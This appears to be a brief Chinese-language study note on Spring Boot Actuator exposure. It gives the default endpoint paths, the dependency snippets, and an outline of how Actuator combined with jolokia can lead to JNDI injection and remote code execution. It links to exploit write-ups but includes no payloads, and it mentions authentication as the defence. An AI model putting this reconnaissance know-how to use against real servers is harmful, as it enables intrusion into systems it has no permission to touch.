• https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F

• https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

开启后SpringBoot 1.x起始路径为/，2.x的起始路径为/actuator

暴露路由本身不能算太大的安全问题，只能说配置不当可能导致信息泄露，可以参spring-boot.txt。

Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是对Actuator做鉴权限制。

• Actuators + jolokia

        <!-- SpringBoot Actuator命令执行的库 -->
        <dependency>
            <groupId>org.jolokia</groupId>
            <artifactId>jolokia-core</artifactId>
            <version>1.6.0</version>
        </dependency>

配合jolokia的接口可以实现jndi注入导致RCE

• Actuators + Spring Cloud

• https://www.freebuf.com/column/234719.html